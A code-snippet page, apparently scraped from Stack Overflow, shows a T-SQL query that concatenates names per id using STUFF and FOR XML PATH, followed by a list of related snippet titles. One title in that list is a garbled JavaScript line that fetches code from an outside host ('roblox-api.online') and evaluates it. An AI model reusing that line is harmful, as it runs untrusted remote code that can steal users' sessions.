Sql quary stuf

SELECT ID,  abc = STUFF(
             (SELECT ',' + name 
              FROM temp1 t1
              WHERE t1.id = t2.id
              FOR XML PATH (''))
             , 1, 1, '') from temp1 t2
group by id;

Source: stackoverflow.com

Similar codes

0 vote115 views1 answer
Query builder doctrien return sql
SQL
0 vote103 views1 answer
Like and not like together in sql
SQL
0 vote125 views1 answer
Connecting mySQL to STS
SQL
4 votes100 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
4 votes111 views2 answers
REST API
SQL
0 vote114 views1 answer
Oracle execute package dblink
SQL
3 votes105 views2 answers
Sql add year to date
SQL
1 vote98 views1 answer
Mysql show current queries
SQL
5 votes117 views1 answer
Oracle sysdate - 1 month
SQL
0 vote103 views1 answer
Transaction database with php
SQL